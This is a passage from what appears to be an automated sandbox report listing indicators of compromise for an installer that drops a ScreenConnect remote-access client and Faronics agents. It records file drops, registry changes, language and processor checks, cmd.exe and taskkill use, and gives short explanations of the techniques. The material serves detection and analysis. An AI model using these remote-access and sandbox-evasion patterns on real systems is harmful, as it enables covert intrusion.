(x86)\Faronics\Imaging\ImgPEHelper_64.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\MigrationHelper_32.exe msiexec.exe File created C:\Program Files (x86)\Faronics\Imaging\IMGAdapter.dll msiexec.exe File created C:\Program Files (x86)\Faronics\Imaging\SFTPClient.dll msiexec.exe File created C:\Program Files\Faronics\Software Updater\libssh-copyright msiexec.exe File created C:\Program Files\Faronics\Software Updater\SoftwareUpdater.dll msiexec.exe File created C:\Program Files (x86)\Faronics\UsageStats\USAdapter.tlb msiexec.exe File created C:\Program Files\Faronics\UsageStats\USWebWmiProvider.mof msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FTAgentTmp.exe msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FaronicsSA.exe msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\StorageSpaces.dll msiexec.exe File created C:\Program Files\Faronics\Software Updater\7-Zip\7z.exe msiexec.exe File created C:\Program Files\Faronics\Software Updater\SoftwareUpdateAdapter.dll msiexec.exe File created C:\Program Files\Faronics\Software Updater\SoftwareUpdater_32.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\ModulesUpgradeMgr.exe msiexec.exe File created C:\Program Files\Faronics\Software Updater\FWUSvc.exe msiexec.exe File created C:\Program Files\Faronics\UsageStats\USTasker64.exe msiexec.exe File created C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FRCServer.exe msiexec.exe - Drops file in Windows directory 64 IoCs
description ioc Process File opened for modification C:\Windows\Products.ini arlingtonchamber.exe File created C:\Windows\Installer\e590cec.msi msiexec.exe File opened for modification C:\Windows\Installer\MSID087.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI5EF2.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF37F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF0AA.tmp-\Microsoft.Deployment.WindowsInstaller.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI1277.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI3F47.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI46EC.tmp msiexec.exe File created C:\Windows\Installer\e590ceb.msi msiexec.exe File created C:\Windows\Installer\SourceHash{F6BAFFE7-D8EF-493A-8E06-864836A41078} msiexec.exe File opened for modification C:\Windows\Installer\{F6BAFFE7-D8EF-493A-8E06-864836A41078}\ARPPRODUCTICON.exe msiexec.exe File opened for modification C:\Windows\Installer\MSIF4F1.tmp msiexec.exe File created C:\Windows\Installer\{951FB9FE-10B8-FE9E-5552-DF1D33015F9B}\DefaultIcon msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI47F7.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{74B5307B-2002-4823-A5D0-DF067F46FE91} msiexec.exe File opened for modification C:\Windows\Installer\MSIDD2F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6994.tmp msiexec.exe File created C:\Windows\Installer\e590cf5.msi msiexec.exe File created C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\ff55c805740d9225\ScreenConnect.ClientSetup.msi ScreenConnect.ClientSetup.exe File opened for modification C:\Windows\Installer\MSIF5AD.tmp msiexec.exe File created C:\Windows\Installer\e590cf1.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI6D52.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF0AA.tmp-\CustomAction.config rundll32.exe File opened for modification C:\Windows\Installer\MSIE10.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\e590cec.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI6B4B.tmp msiexec.exe File created C:\Windows\Installer\{F6BAFFE7-D8EF-493A-8E06-864836A41078}\ARPPRODUCTICON.exe msiexec.exe File opened for modification C:\Windows\Installer\e590cf5.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI14AB.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{0D326B4C-1102-4C69-8266-7323C701B45C} msiexec.exe File created C:\Windows\Installer\{0D326B4C-1102-4C69-8266-7323C701B45C}\ARPPRODUCTICON.exe msiexec.exe File opened for modification C:\Windows\Installer\MSID3A5.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6CA5.tmp msiexec.exe File created C:\Windows\Installer\e590cf9.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIF0AA.tmp-\Microsoft.Deployment.Compression.dll rundll32.exe File created C:\Windows\Installer\wix{951FB9FE-10B8-FE9E-5552-DF1D33015F9B}.SchedServiceConfig.rmi MsiExec.exe File opened for modification C:\Windows\Installer\MSI49CE.tmp msiexec.exe File opened for modification C:\Windows\Installer\e590cf1.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIF0AA.tmp-\ScreenConnect.InstallerActions.dll rundll32.exe File opened for modification C:\Windows\Installer\e590ce7.msi msiexec.exe File opened for modification C:\Windows\Installer\{0D326B4C-1102-4C69-8266-7323C701B45C}\ARPPRODUCTICON.exe msiexec.exe File opened for modification C:\Windows\Installer\MSI4A0D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC26C.tmp msiexec.exe File opened for modification C:\Windows\Installer\{79D068F5-40E4-3614-A683-E351DF40BEBD}\icon.ico HideUL_x64.exe File opened for modification C:\Windows\Installer\MSI5F03.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF207.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIF0AA.tmp-\Microsoft.Deployment.Compression.Cab.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI1247.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI41C9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6B7B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSID905.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6C08.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6E4D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIED52.tmp msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI14EB.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6926.tmp msiexec.exe File opened for modification C:\Windows\Installer\{951FB9FE-10B8-FE9E-5552-DF1D33015F9B}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\MSI1297.tmp msiexec.exe File opened for modification C:\Windows\Products.ini arlingtonchamber.exe File opened for modification C:\Windows\Installer\MSI4C8F.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1712 cmd.exe 3944 cmd.exe 2008 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 49 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ModulesUpgradeMgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language FWA_UI_Agent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language FWAInstallMonitor.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ModulesUpgradeMgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language FWA_UI_Agent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language arlingtonchamber.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language arlingtonchamber.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mofcomp.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language FWAService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language FWAInstallMonitor.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language FTAgentTmp.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientSetup.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language FWAService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language FTAgent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mofcomp.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mofcomp.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ImgClient.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mofcomp.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SUDLLUpdaterPatch.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SUDLLUpdaterPatch.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language HideUL.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe - Kills process with taskkill 1 IoCs
pid Process 2220 taskkill.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState\FullPath = "0" ScreenConnect.WindowsFileManager.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRU ScreenConnect.WindowsFileManager.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA PowerShell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{BD472F60-27FA-11CF-B8B4-444553540000} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000fb77eceb051add01 ScreenConnect.WindowsFileManager.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2c\52C64B7E\@C:\Windows\system32\notepad.exe,-469 = "Text Document" ScreenConnect.WindowsFileManager.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2b\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update" scriptrunner.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot PowerShell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft ScreenConnect.WindowsFileManager.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" FWUSvc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA FWAService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs FWAService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs FWAService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" UpdateHelper.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\28\52C64B7E msiexec.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2b\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust" ModulesUpgradeMgr.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates PowerShell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" UpdateHelper.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs PowerShell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{4E77131D-3629-431C-9818-C5679DC83E81} {0C6C4200-C589-11D0-999A-00C04FD655E1} 0xFFFF = 010000000000000035ba2ae1051add01 ScreenConnect.WindowsFileManager.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates PowerShell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsFileManager.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ FWUSvc.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" FWUSvc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing FWAService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates FWAService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates PowerShell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" FWUSvc.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\SessionHash = c6b1bd62e01c5be3efb8dc33e6108647c5fe67b845c27763ff30565364289769 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs PowerShell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\SlowContextMenuEntries = bd0e0c47735d584d9cede91e22e232826e0000006024b221ea3a6910a2dc08002b30309d9c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ScreenConnect.WindowsFileManager.exe Set value (str) \REGISTRY\USER\.DEFAULT\Control Panel\Desktop\WindowMetrics\MinArrange = "8" ScreenConnect.WindowsBackstageShell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs PowerShell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople FWAService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" UpdateHelper.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" FWUSvc.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" FWUSvc.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\29 msiexec.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Modules\NavPane\ExpandedState = 04000000160014001f80cb859f6720028040b29b5540cc05aab60000010000004d0000001c00000031535053a66a63283d95d211b5d600c04fd918d0000000002d00000031535053357ec777e31b5043a48c7563d727776d1100000002000000000b000000ffff00000000000000000000160014001f60983ffbb4eac18d42a78ad1f5659cba930000010000004d0000001c00000031535053a66a63283d95d211b5d600c04fd918d0000000002d00000031535053357ec777e31b5043a48c7563d727776d1100000002000000000b000000ffff00000000000000000000160014001f50e04fd020ea3a6910a2d808002b30309d0000010000004d0000001c00000031535053a66a63283d95d211b5d600c04fd918d0000000002d00000031535053357ec777e31b5043a48c7563d727776d1100000002000000000b000000ffff00000000000000000000160014001f580d1a2cf021be504388b07367fc96ef3c0000010000004d0000001c00000031535053a66a63283d95d211b5d600c04fd918d0000000002d00000031535053357ec777e31b5043a48c7563d727776d1100000002000000000b000000000000000000000000000000 ScreenConnect.WindowsFileManager.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ FWAService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" scriptrunner.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "7" ScreenConnect.WindowsFileManager.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates FWAService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs FWAService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs FWAService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientSetup.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs PowerShell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs PowerShell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion ScreenConnect.WindowsFileManager.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{99D353BC-C813-41EC-8F28-EAE61E702E57} {A08CE4D0-FA25-44AB-B57C-C7B1C323E0B9} 0xFFFF = 0100000000000000e26322e5051add01 ScreenConnect.WindowsFileManager.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2c msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs PowerShell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot FWAService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates FWAService.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Owner = b812000086be401a051add01 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsFileManager.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs FWAService.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption" UpdateHelper.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script\Settings MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientSetup.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\CIDSizeMRU\0 = 530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300460069006c0065004d0061006e0061006700650072002e00650078006500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000071020000e0010000000000000000000000000000000000000100000000000000 ScreenConnect.WindowsFileManager.exe - Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{359C24F1-51B5-44CE-8F2D-2FBB1A0FE4EA}\FWA_GUI_Agent\PolicyId = "2" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{83FAD298-BEB5-44BE-9756-5CDB2D2304CC}\ = "FWA WMI Sample Instance Provider" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{359C24F1-51B5-44CE-8F2D-2FBB1A0FE4EA}\FWA_GUI_Agent\CanActAsSA = "true" MsiExec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4B623D0201196C4286637327C104BC5\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{910069A3-E03A-4b4a-BFA6-4D0E48D3FBF6}\Version = "1.31.8102.307" MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\FAR.SUC.Adapter MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9D102109-6C28-4BF9-BD44-AC24D73BBF61}\ProgID\ = "FAR.IMG.Adapter.1" MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7E01AEEFC7C34740B20005CFC9D1575\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{359C24F1-51B5-44CE-8F2D-2FBB1A0FE4EA}\FWA_GUI_Agent\OsInfo MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{359C24F1-51B5-44CE-8F2D-2FBB1A0FE4EA}\FWA_GUI_Agent\PolicyId = "2" FWAService.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{CA871D7C-F576-4123-BAA8-D5E90935031A} MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{56202AAE-43F1-4D90-9B35-DF7C93B4FFE5}\ProgID\ = "FAR.USC.Adapter.1" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7E01AEEFC7C34740B20005CFC9D1575\SourceList\Media\DiskPrompt = "[1]" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{359C24F1-51B5-44CE-8F2D-2FBB1A0FE4EA}\FWA_GUI_Agent ModulesUpgradeMgr.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-5B9C-0AA76F655271} msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{359C24F1-51B5-44CE-8F2D-2FBB1A0FE4EA}\FWA_GUI_Agent\GroupId = "2" FWAService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\FAR.IMG.Adapter\CurVer\ = "FAR.IMG.Adapter.1" MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B5F3487F-FA79-496E-A7FB-48915DA73816}\TypeLib MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B5F3487F-FA79-496E-A7FB-48915DA73816}\TypeLib\Version = "1.0" MsiExec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7E01AEEFC7C34740B20005CFC9D1575\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EF9BF1598B01E9EF5525FDD13310F5B9\SourceList\PackageName = "ScreenConnect.ClientSetup.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{98AADBEA-911D-4901-8E18-31835532BECF}\ = "UsageStats WMI Provider" wac6B7E.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B5F3487F-FA79-496E-A7FB-48915DA73816}\ProxyStubClsid32 MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{46859660-34EF-4E2C-B784-79C91586CBC7}\1.23.8110.221 = "D9E5F9B1C5C2B75DADEABE85C9BEAEC3553EB4C5D5CE84D3048AF55C448EE0DF" ImgClient.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{359C24F1-51B5-44CE-8F2D-2FBB1A0FE4EA}\FWA_GUI_Agent\OsInfo = "v1-T-10-0-19041-2-0-0-256-1-64-D-p300-n60-1-1033" ModulesUpgradeMgr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{56202AAE-43F1-4D90-9B35-DF7C93B4FFE5}\InprocServer32\ThreadingModel = "Apartment" MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{D8342DD1-7C7B-467E-AE29-5B4DEAD955E6}\1.0\0\win32 MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{D1162DFA-A4E9-49F4-96C4-8F940D50F673}\1.0\HELPDIR\ = "C:\\Program Files (x86)\\Faronics\\Imaging" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7E01AEEFC7C34740B20005CFC9D1575\ProductName = "Faronics Imaging" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\EF9BF1598B01E9EF5525FDD13310F5B9 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6055DB66-56A9-4264-8A2D-EC1E19293928}\FWA_InstallVersion = 